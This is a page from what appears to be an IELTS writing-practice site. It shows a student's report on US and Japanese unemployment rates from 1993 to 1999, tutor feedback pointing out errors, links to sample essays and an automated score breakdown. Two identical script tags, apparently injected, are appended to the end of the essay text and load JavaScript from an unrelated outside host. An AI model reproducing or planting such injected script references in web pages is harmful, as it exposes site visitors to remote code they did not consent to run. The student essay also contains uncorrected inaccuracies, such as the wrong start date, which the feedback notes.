The graph below shows the unemployment rates in the US and Japan between March 1993 and March 1999. Write a report for a university lecturer describing the information shown below.
The graph gives information about unemployment fluctuations from March 1997 to March 1999 in Japan and the USA.
From the graph, we can see that Japan and USA started from different rates, but finally they reach the same rate.
Having an analyse by the level of unemployment, the difference between the two countries has gradually decreased since 1993 until 1999.
The USA has a periodicity pattern for a year. In the spring, it is recorded a downward trend. After four months, there is a slight growth in the number of unemployed people. At the end of the year, there is a gradual drop. So, between two years, there are recorded two peaks.
In Japan, there is a fluctuating increase in which there are three peaks in 1996, between 1996 and 1997 and from 1998 to 1999. The lowest two drops for Japan are recorded between 1996 and 1998.
In conclusion, the US and Japan will remain at the same level of unemployment in 1999.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
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- Some people prefer to spend their lives doing the same things and avoiding change. Others, however, think that change is always a good thing. Discuss both these views and give your opinion. 60
- The graph below shows the unemployment rates in the US and Japan between March 1993 and March 1999. Write a report for a university lecturer describing the information shown below. 50
- The map below is of the town of Garlsdon. A new supermarket (S) is planned for the town. The map shows two possible sites for the supermarket. Summarise the information by selecting and reporting the main features and make comparisons where relevant. 80
- Do you agree or disagree with the following statement? Attending a live performance (for example, a play, a concert, or sporting event) is more enjoyable than watching the same event on television. 70
- The table below shows the results of surveys in 2000, 2005 ad 2010 about one university.Summarize the information by selecting and reporting the main features, and make comparisons where relevant. 80
from March 1997 to March 1999
from March 1993 to March 1999
Having an analyse by the level of unemployment
Having an analysis by the level of unemployment
flaws:
It is on the wrong track. read a sample:
http://www.testbig.com/ielts-essays/graph-below-shows-unemployment-rate…
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better to have 3-4 paragraphs:
para 1: introduction
para 2: body 1
para 3: body 2
para 4: conclusion
sample:
http://www.testbig.com/ielts-essays/graph-below-gives-information-about…
http://www.testbig.com/ielts-essays/you-should-spend-about-20-minutes-t…
or
para 1: introduction
para 2: conclusion
para 3: body 1
para 4: body 2
sample:
http://www.testbig.com/ielts-essays/climograph-below-shows-average-mont…
http://www.testbig.com/ielts-essays/graphs-below-show-types-music-album…
http://www.testbig.com/ielts-essays/table-below-gives-information-about…
Read essays by users who are good at task I:
http://www.testbig.com/users/mrmo2610
http://testbig.com/users/dilbar
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Attribute Value Ideal
Score: 4.5 out of 9
Category: Poor Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 2 2
No. of Sentences: 11 10
No. of Words: 164 200
No. of Characters: 733 1000
No. of Different Words: 89 100
Fourth Root of Number of Words: 3.579 4.0
Average Word Length: 4.47 4.6
Word Length SD: 2.468 2.4
No. of Words greater than 5 chars: 37 60
No. of Words greater than 6 chars: 28 50
No. of Words greater than 7 chars: 19 40
No. of Words greater than 8 chars: 14 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 14.909 21.0
Sentence Length SD: 5.195 7.5
Use of Discourse Markers (%): 0.273 0.12
Sentence-Text Coherence: 0.375 0.35
Sentence-Para Coherence: 0.72 0.50
Sentence-Sentence Coherence: 0.141 0.07
Number of Paragraphs: 6 4